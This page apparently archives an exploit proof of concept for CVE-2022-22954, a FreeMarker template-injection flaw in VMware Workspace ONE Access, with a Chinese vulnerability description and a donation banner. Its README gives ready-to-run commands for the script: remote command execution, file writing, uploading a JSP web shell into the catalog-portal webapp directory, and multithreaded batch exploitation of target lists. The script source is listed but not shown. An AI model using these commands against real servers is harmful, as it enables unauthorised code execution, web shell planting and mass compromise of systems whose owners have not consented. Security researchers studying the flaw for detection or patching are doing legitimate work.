Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-22954 PoC — VMware 多款产品代码注入漏洞

Source
Associated Vulnerability
Title:VMware 多款产品代码注入漏洞 (CVE-2022-22954)
Description:Vmware Workspace One Access是美国Vmware公司的将用户身份与设备和网络信息等因素结合起来,为 Workspace One 交付的应用程序制定智能驱动的条件访问决策。 VMware 多款产品存在代码注入漏洞,该漏洞源于不正确的输入验证。远程攻击者利用该漏洞发送特制的HTTP请求并执行服务器端模板注入。
Description
CVE-2022-22954 VMware Workspace ONE Access free marker SSTI
Readme
# CVE-2022-22954
CVE-2022-22954 VMware Workspace ONE Access freemarker SSTI

Multiple vulnerability trigger point detection, multi-threaded batch detection, command execution, file writing

```
// Single target vulnerability detection
python CVE-2022-22954.py -u https://x.x.x.x

// Command execution
python CVE-2022-22954.py -u https://x.x.x.x -c "id"

// Write file
python CVE-2022-22954.py -u https://x.x.x.x -fn test.jsp  -fc "test"

// Upload a file, Windows needs to specify the path to set the file name
python CVE-2022-22954.py -u https://x.x.x.x -fn test.jsp  -fp "D:\Desktop\shell.jsp"

// Upload to the specified path
python CVE-2022-22954.py -u https://x.x.x.x -fn "/opt/vmware/horizon/workspace/webapps/catalog-portal/test.jsp"  -fp "D:\Desktop\shell.jsp"

// Batch detection, consistent usage
python CVE-2022-22954.py -f url.txt
python CVE-2022-22954.py -f url.txt -c "id" -t 200
python CVE-2022-22954.py -f url.txt -fn test.jsp  -fc "test" -t 200
python CVE-2022-22954.py -f url.txt -fn test.jsp  -fp "D:\Desktop\shell.jsp" -t 200
python CVE-2022-22954.py -f url.txt -fn "/opt/vmware/horizon/workspace/webapps/catalog-portal/test.jsp"  -fp "D:\Desktop\shell.jsp" -t 200
```
File Snapshot

[4.0K] /data/pocs/d6de73b81a19ddf0bf74b6765037bb51f5d64522 ├── [7.3K] CVE-2022-22954.py └── [1.2K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.